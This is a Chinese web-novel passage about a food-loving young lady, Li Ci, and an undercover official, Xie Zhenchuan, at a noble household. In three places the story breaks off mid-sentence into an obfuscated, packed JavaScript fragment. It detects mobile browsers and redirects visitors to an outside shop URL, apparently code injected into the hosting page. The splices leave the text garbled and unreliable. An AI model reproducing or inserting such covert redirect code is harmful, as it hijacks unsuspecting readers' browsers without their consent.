梨瓷浑然未觉他的探究,就坐在这里安静地吃点心,一块小小的绿豆糕,异常珍惜地分成五口来吃,每吃一口的表情都沉浸又认真,像是把吃饭当作了头等大事。 明明不过是寻常糕点,看着看着,谢枕川几乎都要觉得那是什么稀世罕见的龙肝凤髓了。 梨瓷吃掉了盘子里最后一块绿豆糕,又擦干净指尖残留的一点豆沙,礼貌地同他道别:“那谢徵哥哥好好休息,我便先不打扰你了,以后再来找你玩。你我在应天互相照应,也好叫谢夫人放心。” 谢枕川唇角弯出一点客套的笑意,“自是如此。” 吃饱喝足,梨瓷高高兴兴地走了,连桌上的食盒都忘了带。 谢枕川扫了一眼桌上精致的竹镂雕漆金食盒,眼中复又流露晦暗疑色。 他未去碰那食盒,只道:“去京中取一盒玉容膏来,赠与陈郡谢徵。” 玉容膏乃是当朝贡品,有润肤祛疤之奇效,有价无市,便是宫中后妃也难得一盒,恐怕只有谢枕川的家世,才能轻而易举地说出这种话。 北铭领命,“是。” “好大的手笔啊,谢二,”谌庭也从暗处现身,语气酸溜溜的,“我赴任应天后,也曾来广成伯府拜访,这位佳人见我时为何没这么热情呢?” 何止是不热情,他仔细回想了一下当时梨瓷沉默着与他见礼,又匆匆拜别的样子,简直称得上是避如蛇蝎了。 以往在京城便也罢了,如今来了应天,自己堂堂的通政司参议,怎么还比不过谢枕川扮的一个穷书生呢? “不是所有人都像你一样满脑子风花雪月的,”谢枕川垂眸看了一眼茶盏中浮浮沉沉的茉莉花瓣,出言轻讽,“今日入府,广成伯主动邀‘我’入廉泉书院读书;到了下午,又有谢徵的旧识前来拜访,某何德何能劳动这么多大驾?” “有道理,”谌庭也不想面对自己怎么都比不过这位天之骄子的事实,很快就替他找到了绝佳的理由,“广成伯的嫡长孙女已嫁入了靖德侯府,剩下两位也都是心高气傲的主儿,至今还未择亲,这位表小姐出身是差了点,但凭那副容貌,便是入了后宫,也能搅动风云,怎么能看上‘你’这一介白身呢?” 他狠狠一拍大腿,推断道:“这肯定是计,美人计!广成伯已对你的身份有所怀疑,才特意派梨姑娘前来试探你,怪不得还要主动邀你入读廉泉书院,恐怕就是不想你在官学查出什么。” 谢枕川并未下结论,“周则善为官多年,惯来无偏无党,他的想法和立场,恐怕不会这么简单被你猜到。” 谌庭越发不解,“那你为何还要去廉泉书院,不怕是中了别人的圈套么?” 谢枕川微微一笑,方才那些锐利的锋芒顷刻消散了,当真像是一个外出求学、心怀感恩的少年人,“德高望重的长辈诚心相邀,做晚辈的,哪有推却的道理?” “别来哄我。”到底是相识多年的好友,这番话谌庭一个字都不信,这人从小就主意大着呢,哪会这样听话? 谢枕川不紧不慢地抿了一口茶,这才道:“听闻周则善的长孙今年便要参加乡试了,周家乃书香世家,不知会不会出个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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绣春一边收拾用具,一边提醒:“小姐喝了药,这边的小厨房便停火了,老夫人也下了令,府里人都不得给小姐任何吃的。” 毕竟自家小姐先前在薛神医那里看病的时候,曾有过禁食半日最后翻墙出去找吃的,最后疼得满地打滚被薛神医扎了三十根针的记录,不得不防。 现在刚喝完药,梨瓷本来就没有吃东西的胃口,阔气道:“不吃就不吃,不就是禁食一晚嘛,我可以!” 她决定找点事情来打发这漫长光阴。 趁着天还没黑,主仆两人去院子里踢毽子,踢了一会儿,体力消耗得差不多了,梨瓷就不肯动了,只靠在椅背上,开始揪起毽子毛来。 这毽子毛色彩斑斓,据说是雉羽做的,也不知道那只被拔了毛的雉鸡最后去了哪里,是炖汤还是小炒了…… 她一边揪一边胡思乱想,开始觉得饿了。 看着那只毽子被小姐揪得七零八落的,绣春为难地提醒,“小姐,小厨房已经关火了,府里人也不会拿东西给你吃的。要不还是早些歇息吧,睡了就不觉得饿了。” 梨瓷扭头看了一圈,凡她目光所及之处,大家要么是摊手,要么是摇头,一副无能为力的样子。 她仍然没有气馁,坚持道:“我不困……也不饿,就在府里转转,你不用跟着。” 绣春没跟着,毕竟老夫人已经下了死命令了,众人的心早坚如磐石。 她望着小姐单薄的背影,同情地叹了口气。 5. 偷吃 一出院门,梨瓷就遇到了外祖母身边的苏嬷嬷,苏嬷嬷手里提了篮桃子,柄上的叶子还泛着油亮亮的光,一看就是新摘下来的。 梨瓷的眼睛也跟那桃叶似的,亮晶晶地泛着绿光。 “表小姐喜欢?”苏嬷嬷见着她这幅样子,立刻笑眯眯地把手往那篮子里伸,只是伸了一半,又想起来什么,硬生生止住了拿东西的动作,改为将篮子换了个手挎着,改口道:“表小姐,这桃子不好吃,明日一早庄子里便送新鲜的水蜜桃来,到时候第一个就给表小姐送去。” 梨瓷眼里的光一下子就消失了,向来好说话的苏嬷嬷都这样,自己是肯定不用想在长辈们那里讨到吃的了。 她垂头丧气地与苏嬷嬷话别,思考着接下来要去哪里觅食。 广成伯府家风清正严明,人口也称得上简单,周则善膝下共有二子一女,长子周承序是进士出身,先前一直外放四川为官,前几年才调回南京升任府丞,妻子孙氏掌管府中中馈,大姑娘周淳已经嫁入了靖德候府,大儿子周济正在书院读书,只有过节时才回来;二姑娘周泠虽是四川妾室所生,但自幼聪明伶俐,又得父亲带在身边亲自教养,在整个应天都有才女之名。 至于次子周承章,则是庶吉士出身,院试落榜后便在国子监历事听选,好在他运气不错,熬了几年便在吏部谋得了职位,只是根基还未稳,妻子姚氏和女儿周滢暂时都留在了应天。 梨瓷的院子与两位表姐的院子都在一块,出了院门往左拐,是二表姐周泠的拢翠轩,往右拐,是三表姐周滢的星陈院。 梨瓷想了想,先往右拐了,三表姐是地道的淮扬口味,去她那里总有甜甜的东西可以吃。 星陈院的丫鬟径直领着梨瓷进了书房,周滢没有在用膳,而是在看书,听到动静,下意识地将手里的话本子藏起来了,见来人是梨瓷,这才松了一口气。 她招招手,示意小表妹这边坐,“阿瓷快过来。” 梨瓷左右扫了一圈,见没什么吃的,就不肯坐过来了。 周滢自己走过去,笑着捏了捏她的脸,触感光滑软嫩,她都有些舍不得放手了。 梨瓷表情可怜巴巴的,“滢表姐,我饿。” 她本来就像是一块软绵绵的面团子,撒娇的时候,府里人几乎没有能抵挡得住的。 周滢更加不能,立刻像变戏法似的掏出一个油纸包,凑到她面前,“我知道,看看这是什么?” 梨瓷立刻就闻出来了,惊喜道:“是蟹壳黄!” 周滢点点头,一边将油纸包打开,一边嘱咐,“你小声些,别把母亲引来了。” 姚夫人站在门外,凉凉地接话,“就是啊。” 周滢表情一僵,只恨自己变戏法的学艺不精,不能把这油纸包给变没。 梨瓷很讲义气地站出来:“二舅母,不关滢表姐的事,是我缠着滢表姐要吃的。” 姚夫人走过来,将梨瓷揽在自己的怀里,笑着摸了摸她的头:“你就不必替她遮掩了,二舅母知道,我们阿瓷是最乖的。” 只是转向自己女儿时,方才的温柔立刻荡然无存了,姚夫人用力点了点周滢的额头,气道:“阿瓷年纪小,你这个当表姐的不知道看顾一下妹妹的身体吗,大夫说了今晚要禁食,你还给她吃的,这不是害她吗?” 周滢这才想起来梨瓷几年前第一次进府的时候,因为误食了一块糖蒸糕,当夜就发起高热来,连着好几天都没起得来床,她第二天去看望小表妹的时候,只见她躺在床上,一张小脸煞白煞白,连说话都有气无力的。 这下她的脸也白了,“我忘了,我见小表妹这两年身子也好了嘛,就完全忘记了。” 梨瓷弱弱开口:“只吃一点儿没事的,我先前在薛神医那里看病的时候,也偷吃过好多东西的……” “那怎么能一样呢,现在薛神医又不在,若是出了问题怎么办,何况这府里做的蟹壳黄也不好吃,明日二舅母派人上外头给你买赵家桥上的蟹壳黄,那才叫好吃呢。” 深知两个小姑娘秉性的姚夫人一手拿过油纸包,另一手拿过话本子,看着屋外亮堂堂的天,面不改色道:“时候不早了,阿瓷早点回去休息,明日二舅妈买了蟹壳黄,再让你表姐给你送去,也不耽误你们小姐妹说话。” 姚夫人末了她还瞪了女儿一眼,脸上明明白白地写着“等我收拾你的”。 梨瓷偷偷抬眼看着周滢,给滢表姐一个爱莫能助的眼神,灰溜溜地逃走了。 从星陈院出来,梨瓷又往左走,心想着二表姐吃得又慢,食量又小,这个点肯定没吃完,自己现在过去,没准儿还能分一杯羹。 她兴冲冲踏进院子,泠表姐果然还在吃饭,辛香的气息飘飘荡荡地钻进鼻腔里,让人怕又让人爱。 见到梨瓷,周泠并不惊讶,“你倒是会挑时候,我这儿才吃上,偏生你就来了。” 梨瓷格外乖巧:“我想和泠表姐一起用饭。” 周泠早有准备,她夹起一块辣子鸡,特地亮给她看了看,“怎么,今日不怕被辣哭了?” 梨瓷看着泠表姐挑挑拣拣,从红彤彤的一层干椒里夹出一块辛辣焦香的鸡肉来,不由得缩了缩脖子,最后还是勇敢道:“我就尝尝,不多吃。” “那也不行,”周泠毫不留情地拒绝了她,“大夫说了你今晚要禁食,我怕你明日疼哭了,第一个喊的就是我的名字。” 梨瓷眼睛睁得滴溜圆,吃惊地为自己辩驳,“怎么会呢,我是最讲义气的!” “是,上次府里岑夫子夸你的文章写得好,问是谁替你写的,你怎么说的?” “……如果夫子是责备我写得不好,我肯定不会说的,”梨瓷知道自己理亏,声音越说越小,“但那是泠表姐的功劳嘛,我不能冒领的。” 周泠不客气道:“所以我既不会给你留饭吃,这次的课业也需要你自己写。” “这次?”梨瓷下意识地重复了一遍。 “对,你前些时日上山诊病去了,夫子留了课业,托我转告给你。” 梨瓷捂住耳朵,拼命摇头,却发现周泠早已经誊抄在了纸上,塞进了自己的荷包里。 看着小表妹欲哭无泪的表情,周泠心中升腾起了莫名的满足感。 欺负完梨瓷之后,她又好心地补充了一句,“若实在不会,我可以教你,但一个字都不会替你写了。” 最后的幻想也破灭了,梨瓷揣着课业,灰头土脸地回了自己的嘉禾苑,准备睡觉。 她躺在床上,闭着眼睛,在心里盘算着明日要吃些什么,一只水馅包,两只油酥饺、半边酱煎猪?、一条蒸鲜鱼、再来一碗芡实粥……水蜜桃和蟹壳黄也要安排上。 数了半天吃的,梨瓷终于睡着了,不知过了多久,她又迷迷糊糊地听到自己的肚子发出“咕咕”的声音。 她被饿醒了。 夜色已深,梨瓷下床推开窗,皎洁的月光倾泻而下,如同洒了一碗奶白色的鲫鱼汤,庭院里细密的枝叶摇曳,像是剔净了肉的鱼骨。 这么一想,她只觉得更饿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14554742|155400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 结合上次在薛神医那里的偷吃经验来看,自己就算是吃了什么不该吃的,最多也就难受个一两天,但若是现在再不吃东西,她只觉得自己已经撑不到明天了。 梨瓷转头瞄了一圈,滴漏的刻度已经到了亥时,守门的丫鬟睡得正香,她借着月光穿好了衣裳,就着床头这双软底卧履,悄悄溜出去了。 广成伯府的大厨房离梨瓷的院子有些远,夏夜的月光明亮,梨瓷一路都鬼鬼祟祟的,生怕被人认出来。 她好不容易猫到了目的地,却发现厨房已经正在清场了,白案师傅一边与最后一个取餐的人客套几句,一边把案板摘了下来,打了盆水冲洗。 梨瓷躲在树后,直愣愣地盯着餐盘里的一碟一碗。 碟子里装的是几块点心,刚出锅不久,酥酥热热的,上面还淋着玫瑰色的蜜汁,碗里的东西还瞧不清楚,但是也散发出迷人的香气。 眼看餐盘离她越来越远,梨瓷咽了咽口水,情不自禁地跟了上去。 - 此次南下查案,谢枕川虽然掩藏了身份,仍有诸多公务需要处理,好在他此时是“书生”,挑灯夜读也算寻常。老夫人见他勤勉,还特地令厨房做了宵夜,叮嘱他注意身体。 世子的饮食不可大意,濯影司早就在广成伯府的厨房里安插好了自己人,南玄放心大胆地取了餐,只是走了没多久,就察觉到了身后有人跟着自己。 那人走路连半点声音都没有,对府中地形也很是熟悉,南玄几次三番地回头,都未能发现其人躲藏的踪迹。 他立刻提高警惕,加快脚步往方泽院里走去。 书房里的烛火还亮着,南玄不敢让餐盘离身,一直端着进了书房,向世子禀报此事,担忧道:“不会是广成伯府有人想要下毒谋害世子吧?” 谢枕川正在处理一封加急的文书,纸面上落下几行铁画银钩的字迹,头也未抬,“拿去旁边厢房吧,一会儿我亲自过去处理。” 南玄立刻会意,端着盘子又去了厢房,顺便遣散了院中守候的仆从。 梨瓷一路追随点心而来,先过游廊,再进角门,穿过浮桥,又顺着石径往前,跟着跨进了院门,她瞧着这间院子有些眼熟,只是夜色深沉,暂且分别不出是谁的居所。 她畅通无阻地走了进去,正好看到前头那人将餐盘端去了一间厢房。 晚风轻拂,虫鸣阵阵,四下无人,就连空中也正好飘过一大朵云,遮住了皎洁的月亮,实在是干坏事的好时机。 对食物完全没有抵抗力的梨瓷轻手轻脚地走了进去,只见房中点了一盏晦暗的灯,餐盘孤零零地躺在桌上,似乎在等待赏识它的人。 凑近了看,玫瑰花瓣和石蜜所制的蜜汁还挂在芋头酥上,将落未落;那只海碗里盛的是碧涧羹,似乎又和寻常的碧涧羹有所区别,除了翠绿的香芹,还有雪白的豆腐和鱼肉,清香味美,引人食指大动。 这蜜汁玫瑰芋头酥共有六块,自己只吃一块,应当不妨事吧? 梨瓷只觉得自己饿得手脚都不听使唤了,还没想好的时候,手里已经抓了一块蘸了最多玫瑰蜜汁的芋头酥往嘴里塞。 咬碎酥皮,软糯香甜的芋头馅料和浓郁的蜜汁混合在一起,酥皮脆、芋泥软、蜜汁甜,立刻就治愈了梨瓷空荡荡的肚子。 唔唔唔……好吃……嚼嚼嚼…… 正是吃得起劲的时候,梨瓷忽然听到门外传来了脚步声,她来不及逃跑,匆匆吹灭了屋内烛火,握着那块芋头酥躲在了桌子下面。 6. 对台 书房的窗户正对着厢房的门,几人将贼人如何偷溜进去的情形看了个正着。 北铭压低声音问道:“公子,可要进去拿人?” 见世子没应,南玄嘴快道:“这可是广成伯府的表小姐,咱们怎么拿人?只是这表小姐……怎么大半夜的在外男的院子里逛呢?” 两人见过拿着帕子往世子的眼前扔的、走路不稳企图往世子身上摔的、甚至还有主动往水里跳的,但是因为以往条件不允许,还从未出现过大半夜在世子院子里逛的。 北铭一脸警惕,“不会真如谌大人所说,这是广成伯府的美人计?” 南玄偷偷瞧了一眼世子的神色,只见谢枕川依旧岿然不动。 他连忙道:“这等拙劣的美人计,咱们公子自然是不会放在眼里的。” 谢枕川漫不经心地打断他们的嘀咕,“走吧,既然来了,总要把这出戏演完。” 见不用动手,北铭已经识趣地消失了,南玄跟在谢枕川身后,准备近距离观察自家世子是如何将计就计的。 推开厢房的门,里面的烛火已经无风自熄了,月亮重新破开云层,顺着大开的门窗照了进来,落下一层银白的光。 梨瓷躲在底桌下,将手里那块芋头酥握得紧紧的,心脏砰砰跳个不停,生怕自己被人发现。 谢枕川微微眯眼,看着瓷碟里少了一半的玫瑰蜜汁芋头酥。 南玄连忙道:“公子稍候片刻,我这就去取灯笼来。” “我与你同去。” 他虽是这么说着,却并未朝门外走去,而是无声无息地走向了梨瓷藏身的长桌。 听到是谢徵哥哥的声音时,梨瓷便已经没那么紧张了,等听见离去的脚步声、推门关门声后,她终于放松下来,长长地舒了一口气。 又等了一会儿,确定外面没有声音了,梨瓷便像个小动物一样窸窸窣窣地从桌子底下爬了出来,等她探出半张脸四处张望的时候,谢枕川已经好整以暇地用火折子点亮了桌上的烛台。 烛光与月光交织成温柔的暖色,暧昧地勾勒出她的轮廓,连发丝上都蒙了一层亮盈盈的光。 她还跪坐在地上,裙摆在地上开成了一朵花,此刻正小心翼翼地探出头来,眼睛清澄透亮,愈发衬得那张巴掌大的小脸明媚又秀美,粉嫩如蜜汁玫瑰一般的唇瓣微张着,透露出主人的惊诧来,如果不是唇边还沾了一小块儿粉白的酥皮,应当会显得更无辜些。 谢枕川一时竟然无话。 他忍住伸手拂去那一小块酥皮的冲动,声音略有些沉凝,“你在这里做什么?” “我——咳咳咳咳咳——” 大约是他身上那股濯影司指挥使的气势太盛,即便此刻只是一介书生打扮,配上此情此景,也像极了要将江洋大盗捉拿归案的架势,偷吃的小贼受了惊吓,一不小心就呛住了,猛烈地咳了起来。 谢枕川将桌上没人用过的茶水递给她,放轻语气,“我只是有些惊讶罢了,你先喝口水,慢些说。” 梨瓷的右手里还握着半块芋头酥,她换用左手接过杯盏,喝了好几口之后,终于说出第一句话来,“怎么是白水?” 谢枕川已经大抵摸清了她的性子,贪吃又稚拙,虽然生了一张美人面,脑子却一点也没跟上。 这样的棋子,是最好拿捏的了。 他还不着急揭破窗户纸,也并不与她计较,甚至很有闲心地解释了一句,“夜间饮茶伤神。” 见梨瓷不设防地将杯中水一饮而尽,他又问:“手中拿的什么?” 房中放了些不重要的文书,方才那点时间,已经足够她翻找了。 梨瓷装傻,右手握拳背在身后,将左手的杯盏举起给他看,“喝水的杯子。” 这点小伎俩自然不被谢枕川放在眼里,他不容分说将空了的水杯从梨瓷的手里取回来,眼睛紧紧地盯着她,“另一只手呢?” 梨瓷只好将右手也绕回身前,乖乖张开手掌,小声认错,“你的点心。” 看清她手心里那块咬了半口的芋头酥,谢枕川再一次无言了。 梨瓷以为谢徵哥哥是不满自己偷吃了他的糕点,心虚地狡辩道:“这么晚了,房间里也没人,我以为是没人要的。” 她的腮帮子鼓鼓囊囊的,唇边的酥皮还没来得及擦干净,手里还握了一块咬了半口的芋头酥。 在无言的沉默中,梨瓷颇为不舍地把半块芋头酥放回瓷碟之中,月光透过窗棂落进那双水盈盈的眼睛里,长睫毛低垂,像是做了错事被抓包,耷拉着耳朵的小狗。 犯罪现场清晰明了,她的供词也不似作伪。 若先前还觉得此计拙劣,此时已经称得上是高明了。 谢枕川唇边露出一丝意味不明的笑,语气也变得亲昵起来,顺着她的话道:“阿瓷说得这样可怜,莫非广成伯府没给你饭吃?” 他的声音低沉悦耳,比她的名字更像一件上好的瓷器,温润如玉,细腻清透。 汤羹的香味顺着升腾的热气飘飘荡荡,梨瓷不自觉地点了点头,又摇了摇头,“不是的,平日里都可以吃的,只是今晚不许。” 谢枕川伸手,慢条斯理地盛出半碗碧涧羹,推到了她的面前,语气温和得像是在诱供,“今晚为何不许?” 汤羹还有些烫,但梨瓷怕他反悔,连忙用瓷勺舀了一小口吃掉。 不喝便也罢了,这一口下去,梨瓷才知道此羹与寻常碧涧羹的区别,汤底奶白如玉,既有鱼肉熬制的醇厚,又融入了香芹的脆嫩,几乎一口便可以抚平她饿了一整晚的躁动。 她原本想说实话,尝过此等美味之后,立刻开始调动全部的脑筋思考如何撒谎了。 梨瓷捧着比她的两个拳头还大的碗,一边努力地吹着羹面上的热气,一边装作若无其事的样子,“因为……因为我太胖了,晚上应该少吃些。” 为了让自己更有说服力,她悄悄地鼓了鼓腮帮子,可惜脸上仍然没有什么肉,只有少女脸上一点软软的婴儿肥,更显娇憨可爱,让人情不自已地相信她的谎言。 谢枕川轻笑了一声,几乎隐没在夜色里。 若是濯影司的人犯有她一半睁眼说瞎话的水平,这世间的冤假错案不知又要多出凡几。 那只修长有力的手再次伸了过来,轻而易举地环握住了她的碗沿。 “啊……” 梨瓷眼睁睁地看着谢枕川伸手取走了她的碗,脸上的表情震惊又痛心。 没想到谢徵哥哥居然信了自己随口编的谎话,不让自己吃饭了! 她忍不住伸手捏了捏自己的脸,正在怀疑自己是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14554743|155400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是真的长胖了的时候,却看见谢枕川已经为自己添了满满的一碗碧涧羹,不赞成道:“胡说什么,你正是长身体的时候,该多吃些才是。” 梨瓷开心地接过来,重新捧起碗,等她细嚼慢咽地吃了好几口,终于想起来客套,“谢徵哥哥你不吃吗?” 谢枕川又是微微一笑,“我不饿,你先吃。” 梨瓷小口小口地喝了一整碗碧涧羹,又把她先前咬过的半块芋头酥重新拿起来吃掉,终于心满意足地放下碗,谦虚地表示:“我不吃了。” 那可是成年男子用的海碗,就算是广成伯府中女眷的饭碗,也不到其一半的大小。 谢枕川挑眉看着她,“吃饱了吗?” 梨瓷其实只勉强吃了个半饱而已,不过她还记得今晚要禁食这件事,意犹未尽地点点头。 虽然方泽院小小的,陈设也简朴,但她却在这里感受到了自由的味道。谢徵哥哥不会把自己当病患,也不会管束自己吃东西,更重要的是,他还对美食颇有研究,经他改良过的吃食都很得她的心。 要是能够经常来这里蹭吃蹭喝就好了。 梨瓷在心里打着小算盘,“谢徵哥哥,你能不能帮我瞒住今天的事情,不要告诉别人啊?” 谢枕川听得有趣,第一次生出逗弄她的心思,“你是说今晚来过的事情,还是说在此处宵夜之事?” 梨瓷低头看了看食碟,里面虽然只剩最后一块蜜汁玫瑰芋头酥了,但也聊胜于无嘛。 她把碟子推到谢枕川面前,讨好地看着他:“都不要告诉别人。” 万一被外祖母知道,她以后肯定会被严加看管,再也不能来方泽院了。 谢枕川看过去,梨瓷正微微仰着脸,澄澈乖软的眼眸一瞬不瞬地望着自己,细白漂亮的手指托着瓷碟,一脸的乖巧。 只是被剩下的那块酥糕不争气地卧在碟子的边缘,上边挂着的玫瑰蜜汁也是最少的,足以见其诚意了。 他似笑非笑地应了,“好。” 得了谢枕川的应承,梨瓷总算放心下来,“那谢徵哥哥早些休息,我就不过多打扰了,我改日再来找你玩。” 她同谢枕川挥挥手告别,出门时,又正巧看到提着灯笼候在门外的南玄,还顺手拿走了他的灯笼。 被抢走了灯笼的南玄目瞪口呆立在原地,这位表小姐深夜前来,几乎已经把方泽院上下都打扰了个遍,还好意思说“不过多打扰”呐? 他正要向世子告状,只是瞟到那位表小姐用过的碗碟,立刻又闭嘴了。 能让自家世子“配合演戏”到如此地步的,她还是第一个。 “世子……” 南玄看着桌上只剩一块的芋头酥和喝掉了半碗的碧涧羹,又不敢开口问世子是否要用些。 谢枕川审视着桌上的残羹冷炙,梨瓷方才像只小松鼠一样吭哧吭哧吃糕点的样子又浮现在眼前。 他迟疑片刻,道:“这些,和下午的汤药一并拿去验毒,再将她的过往查探仔细了,最近去了哪里接触了什么人,事无巨细禀报清楚。” “是。” 没想到自己也差点被表小姐那副天真无害的皮相给骗了,看来还是世子英明啊。 南玄赶紧摸出一副面巾和手套带上,小心翼翼地端去验毒去了。 7. 出手 翌日凌晨下了一场小雨,给炎热的夏日添了些许凉意,只是日出之后,那点水汽又消失得无影无踪,连带着那场夜雨也成了幻梦。 梨瓷只觉得自己昨夜睡得很好,但是被疼醒之后就不太好了,她哼哼唧唧地躺在床上,直说自己浑身酸痛、乏力,起不来床,脑瓜子都嗡嗡的。 绣春急得不行,连忙扶小姐起身,给她端来一杯温水,“小姐,您这是怎么了,我请老夫人去请大夫吧?” 听说要请大夫,梨瓷不知哪儿来的劲,立刻坐直了身体。 “不用请大夫!”事到如今,她只好承认,“我就是昨天晚上不小心吃了点东西,疼一会儿就好了。” 绣春喃喃道:“薛神医真是有先见之明啊。” 她一边去取药,一边问:“小姐,昨夜府中严防死守,您是去哪儿淘换的东西啊?” 梨瓷闭紧嘴巴,守口如瓶,“我不会说的!你也不许告诉祖母!” “好,奴婢不说,”绣春点头,相信自己去把薛大夫开的药取来,小姐下次肯定不会再犯了。 足有拇指那么大的墨色丸子,一共十二颗,整整齐齐地码在食盘里头。 梨瓷的眼睛立刻瞪得比药丸子还大,“这是什么?” “薛神医新开的药,说小姐若在禁食时破了戒,第二日便需服用十二丸。” 这么大的药丸子,还要吃十二丸! 梨瓷只觉得天都要塌下来了。 “怎么不早告诉我,”她小声嘟囔,“我早知道的话,就……就少吃些了。” “奴婢也不知道您真会偷吃啊,毕竟这次去植杏堂接您的时候,薛神医还说您如今懂事许多,特别遵守医嘱,这药只是预防万一而已。” ……薛神医一定是故意的。 梨瓷含泪拿起一颗药丸子,第一次体会到食不下咽的感觉。 这药想要吃下去,水也是不能少的,绣春又赶紧拿出了一套粉彩荷花纹的敞口八方碗,一字排开,挨个儿倒满温水,一脸怜惜地看着小姐这样一口药、一口水的,把整整十二颗药丸子全都吃掉。 吃副药几乎都用了半盏茶的功夫,梨瓷生无可恋地靠坐在床上,摸了摸自己被水撑得饱饱的肚皮,没想到自己昨天吃药吃到饱的“愿望”这么快就实现了。 见小姐吃完药,绣春又问:“小姐,要传早膳吗,您想吃些什么?老夫人那边送来了一筐水蜜桃,二夫人也送了赵家桥的蟹壳黄和小笼包来。” 梨瓷抱着被子靠坐在床头,觉得自己肚子里的水都在晃荡响,恹恹摇头,“想吃,但是吃不下了。” “那一会儿再用吧,”绣春试着说些别的转移梨瓷的注意力,“说起来,小姐昨日和谢公子叙旧叙得如何?” “很好呀,”想起昨晚的宵夜,梨瓷眼里终于恢复了些许神彩:“虽然没吃着玉润糕,但他那里还有其他好吃的。对了,他还将玉润糕的秘方告诉我了呢,花生、芝麻、杏核仁……” 她说着说着就卡了壳,含糊其辞道:“差不多就是这些,改日让厨娘做来试试,对了,要多多地加些石蜜。” 绣春全都记下了,又道:“小姐,奴婢瞧着今日的天气甚好,可要出去走动走动?” 梨瓷往窗外看了一眼,太阳高高地挂在天上,像是一个小蜜橘,阳光金灿灿的,漾开了一片清新而鲜亮的橙色橘汁。 她的心思立刻就活络起来,“再躺一会儿,等我恢复了力气,和外祖母禀报一声,咱们就出去玩儿吧。” 原先重病时,梨瓷一贯是疲懒出门的,如今在薛神医的调理下有了起色,又变得活蹦乱跳起来,因为心疼这个外孙女儿,老夫人也不在府中拘着她,听闻梨瓷要外出逛街,还自掏腰包给她备好了零用钱。 应天富贵风流之地,集市也格外热闹,逛着逛着,梨瓷便迷了眼,样式时兴的簪花、色泽艳丽的丝绸、香气浓郁的胭脂……虽然都没有自用的好,但还是忍不住买了许多。 她最喜欢的是一个琉璃制的陶响球,付完银子之后就被她装进了荷包里,拿在手里轻轻一摇,就会发出琉璃撞击的动听声响。 集市里对梨瓷来说诱惑力最大的,还是要属说书唱戏、杂耍卖艺的瓦舍了,因为那里的小吃摊最多,就连“冰—糖葫芦——”的叫卖声也格外响亮。 只是小姐才吃过药,绣春实在担心她又在外面吃什么不该吃的,苦口婆心地劝道:“小姐,我们去旁边的福寿斋用午饭吧,那里也有说唱卖艺的呢。” “福寿斋”三个字一听便觉得素净寡淡,让人没什么胃口,梨瓷这会儿又闻到风里吹来的麻酥糖香气,就更加挪不动步子了。 糖摊儿支在戏台子的上边,一阵轻风袭来,甜蜜的空气争先恐后地涌进胸腔里。 梨瓷立刻深深地吸了一口气,哪怕不能吃,多闻一闻也是好的。 绣春也瞧见了那糖摊儿,立刻警惕起来,说什么也要把自家小姐拉走。 她指着春光楼的方向,退让道:“听闻春光楼今日请了名角儿来唱《鸣凤记》,他家的酥蜜饼做得也是一绝,小姐不想去看看吗?” 梨瓷才不信有天上掉酥蜜饼的好事呢,她看着戏台上咿咿呀呀的净角儿不肯走,“我想把这个包公案听完,你先去春光楼订座儿吧。” 绣春只好又叮嘱了一番,确定小姐身上一分钱都没有之后,便先走了,她还要提前去厨房盯着厨子把酥蜜饼做成酥饼呢。 春光楼算得上是应天顶顶有名的酒楼,哪怕距离此地尚有一段距离,也能瞧见它金光闪闪的琉璃瓦和迎风招展的酒旗了。 梨瓷站在香香的糖摊儿旁边,听完包公用狗头铡把坏人铡完的结局,恋恋不舍地朝春光楼走去。 路过街尾的时候,旁边的巷口骨碌碌滚出来一个小桃子,顺着青石板,一直滚到梨瓷的脚边。 小桃子毛茸茸的,青里泛着红,格外可爱。 想起昨日和今晨都没吃成的水蜜桃儿,梨瓷停住脚步,还没来得及去捡,立刻又有更多的桃子滚了出来。 她转头往那条巷子里一看,只见偏僻阴暗的角落里,一群人围作一团,口中骂骂咧咧地说着什么,对中间那个被围住的人拳脚相加。 挨打的是一名斯文清秀的年轻男子,身形略有些瘦弱,被打得跌倒在地,蜷缩成了一团。 他身边原本还有一筐桃子,此时竹筐倒在地上,桃子东零西散地滚了一地,还有不少都被碾成了糜烂的果肉。 领头的人一脚踢开脚下的烂桃子,猖狂道:“你就是个没用的废物,下次再让本公子听到你胡说八道,可就不是一顿打能解决的事情了。” “就算,打死我,我…也还要说,我再废物,也好过你…大字写不出…写不出一个的草包。” “你!” 那人说不过他,又上去恶狠狠地补了一脚,路过的行人都像是没看见似的,纷纷避让。 即便隔了老远,梨瓷也隐约能够听到皮肉钝击的声音,听起来就很疼。 她还是头一次遇到这样的不平事,想起瓦舍里方才那出《包公案》,立刻就头脑发热地冲了上去,大喊了一声“住手!” 听见这样稚嫩又清甜的嗓音,程立雪不抱什么希望地抬头,却仿佛看见了仙女。 